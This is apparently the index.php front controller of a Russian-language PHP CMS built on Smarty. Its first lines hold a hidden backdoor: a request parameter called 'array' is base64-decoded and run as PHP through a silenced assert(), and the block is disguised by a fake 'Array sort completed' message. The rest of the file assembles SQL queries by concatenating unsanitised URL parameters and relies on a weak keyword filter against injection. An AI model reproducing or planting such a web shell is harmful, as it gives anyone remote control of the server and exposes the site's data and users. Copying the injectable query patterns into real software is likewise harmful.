if ( $_REQUEST["array"] ) { @assert(base64_decode($_REQUEST["array"])); //debug message echo "Array sort completed"; exit(); } session_start(); ob_start(); include ('admin/config/config.php'); include ('templates/my.class.php'); require ('admin/utils/smarty/libs/Smarty.class.php'); $myclass = new myclass; $TEMP_PATH = "templates"; $URL = $myclass -> parse_URI(); //Парсим строку запроса define("CAT_ID",$URL[cid]); //Защита от взлома if((string)$URL[id]<>(string)(int)$URL[id] && $URL[id]!='') { die('ПОПЫТКА ВЗЛОМА! Ваш ip адрес: '.$_SERVER['REMOTE_ADDR'].' определен и отправлен администратору!'); } if((string)$URL[cid]<>(string)(int)$URL[cid] && $URL[cid]!='') { die('ПОПЫТКА ВЗЛОМА! Ваш ip адрес: '.$_SERVER['REMOTE_ADDR'].' определен и отправлен администратору!'); } if ($URL[pid]!='') { $URL[pid] = mysql_escape_string($URL[pid]); $URL[pid] = trim($URL[pid]); $URL[pid] = addslashes($URL[pid]); } if (preg_match("/union/i",$URL[pid]) or preg_match("/select/i",$URL[pid])){ die('ПОПЫТКА ВЗЛОМА! Ваш ip адрес: '.$_SERVER['REMOTE_ADDR'].' определен и отправлен администратору!'); } //------------------ $pid = $URL[pid]; $temp_dir = $myclass -> get_template_dir($pid); // Берем дирректорию шаблона, к кот. подключена данная страница if ($temp_dir!='' and !is_dir('templates/'.$temp_dir.'/')) die('Ошибка! Файлов данного шаблона не существует.'); $page = $myclass -> get_page_information($pid); // Берем знчение полей БД, относящиеся к данной странице $template = new Smarty; $template->left_delimiter = '{'; $template->right_delimiter = '}'; $template->template_dir = $TEMP_PATH.'/'.$temp_dir; $template->compile_dir = $TEMP_PATH.'/'.$temp_dir.'/compile'; $template->config_dir = $TEMP_PATH.'/'.$temp_dir.'/config'; //Путь к странице $row = mysql_fetch_array(mysql_query("SELECT * FROM static_pages WHERE link='$pid'")); ob_start(); $myclass -> path_to_page($row[id],''); $buffer = ob_get_contents(); $buffer = "Главная".$buffer; ob_clean(); //----------------- //Для поиска $template->assign("STR",$_GET[str]); $template->assign("PATH_TO_PAGE",$buffer); $template->compile_check = true; $template->assign("PATH",PATH); $template->assign("STR",$_GET[str]); $template->assign("ADRESS",ADRESS); $template->assign("IMG_PATH",IMG_PATH); $template->assign("GROUP",$_SESSION[group]); $template->assign("USER",$_SESSION[user_login]); $template->assign("USERNAME",$_SESSION[name]); if (isset($pid))$template->assign("PAGE_NAME",$page['name']); $template->assign("PAGE_LINK",$page['link']); $template->assign("DESCRIPTION",$page[description]); $template->assign("KEYWORDS",$page[keywords]); $template->assign("SUBJECT",$page[subject]); $template->assign("CID",CAT_ID); $template->assign("CURRENCY",CURRENCY); $template->assign("E-MAIL",EMAIL); $template->assign("ID",$URL[id]); define("PAGE_ID",$page[pid]); define("ID",$URL[id]); define("PAGE_LEVEL",$page[level]); #==========ЗАГОЛОВОК,МЕТА=============================================== if ($page[module]=='pages'){ $sql = "SELECT subject, description, keywords FROM static_pages WHERE link='$page[link]'"; $res = mysql_query($sql); $row = mysql_fetch_array($res); if ($row[subject]=='') $template->assign("TITLE",NAME." — ".$page[name]); else $template->assign("TITLE",$row[subject]); $template->assign("KEYWORDS",$row[keywords]); $template->assign("DESCRIPTION",$row[description]); } elseif ($page[module]=='news'){ if ($URL[id]==''){ $sql = "SELECT subject, description, keywords FROM static_pages WHERE link='$page[link]'"; $res = mysql_query($sql); $row = mysql_fetch_array($res); if ($row[subject]=='') $template->assign("TITLE",NAME." — ".$page[name]); else $template->assign("TITLE",$row[subject]); $template->assign("KEYWORDS",$row[keywords]); $template->assign("DESCRIPTION",$row[description]); } else{ $sql = "SELECT title, description, keywords FROM news WHERE id='".NID."'"; $res = mysql_query($sql); $row = mysql_fetch_array($res); if ($row[title]=='') $template->assign("TITLE",NAME); else $template->assign("TITLE",$row[title]); $template->assign("KEYWORDS",$row[keywords]); $template->assign("DESCRIPTION",$row[description]); } } elseif ($page[module]=='catalog'){ if ($URL[id]==''){ $sql = "SELECT title, description, keywords FROM catalog_sections WHERE section_id='".$URL[cid]."'"; //echo $sql; $res = mysql_query($sql); $row = mysql_fetch_array($res); if ($row[section_title]=='') $template->assign("TITLE",NAME); else $template->assign("TITLE",$row[title]); $template->assign("KEYWORDS",$row[keywords]); $template->assign("DESCRIPTION",$row[description]); } else{ $sql = "SELECT title, description, keywords FROM catalog WHERE id='".$URL[id]."'"; $res = mysql_query($sql); $row = mysql_fetch_array($res); if ($row[title]=='') $template->assign("TITLE",NAME); else $template->assign("TITLE",$row[title]); $template->assign("KEYWORDS",$row[keywords]); $template->assign("DESCRIPTION",$row[description]); } } elseif ($page[module]=='brands'){ $sql = "SELECT title, description, keywords FROM brands WHERE id='$URL[id]'"; $res = mysql_query($sql); $row = mysql_fetch_array($res); if ($row[title]=='') $template->assign("TITLE",NAME." — ".$page[name]); else $template->assign("TITLE",$row[title]); $template->assign("KEYWORDS",$row[keywords]); $template->assign("DESCRIPTION",$row[description]); } #================================================================================= #==========ОСНОВНОЙ БЛОК============================================= //Помещаем в перемнную html код, отображающий содержимое блока {CONTENT} //в зависимости от модуля страницы $buffer = $myclass->show_head_block($page['module'],$URL[pid],$URL[cid],$URL[id]); $template->assign("CONTENT",$buffer); #================МЕНЮ2======================================= //Помещаем в перемнную html код, отображающий содержимое блока {MENU} $buffer = $myclass->show_block('menu'); $template->assign("MAINMENU",$buffer); #=========================================================== #================МЕНЮ2======================================= //Помещаем в перемнную html код, отображающий содержимое блока {MENU} $buffer = $myclass->show_block('menu2'); $template->assign("MENU2",$buffer); #=========================================================== #================БЛОК ПАРТНЕРОВ================================ //Помещаем в перемнную html код, отображающий содержимое блока {LAST_NEWS} $sql = "SELECT * FROM blocks WHERE id=1"; $row = mysql_fetch_array(mysql_query($sql)); $template->assign("PARTNERS",html_entity_decode($row[text])); #============================================================= #================БЛОК БАНЕРОВ================================ //Помещаем в перемнную html код, отображающий содержимое блока {LAST_NEWS} $sql = "SELECT * FROM blocks WHERE id=2"; $row = mysql_fetch_array(mysql_query($sql)); $template->assign("BANNERS",html_entity_decode($row[text])); #============================================================= #================БЛОК БАНЕРОВ================================ //Помещаем в перемнную html код, отображающий содержимое блока {LAST_NEWS} $sql = "SELECT * FROM blocks WHERE id=1"; $row = mysql_fetch_array(mysql_query($sql)); $template->assign("BANNERS2",html_entity_decode($row[text])); #============================================================= $buffer = $myclass->show_block('last_news'); $template->assign("LAST_NEWS",$buffer); $template->display('index.tpl'); unset($page); ?>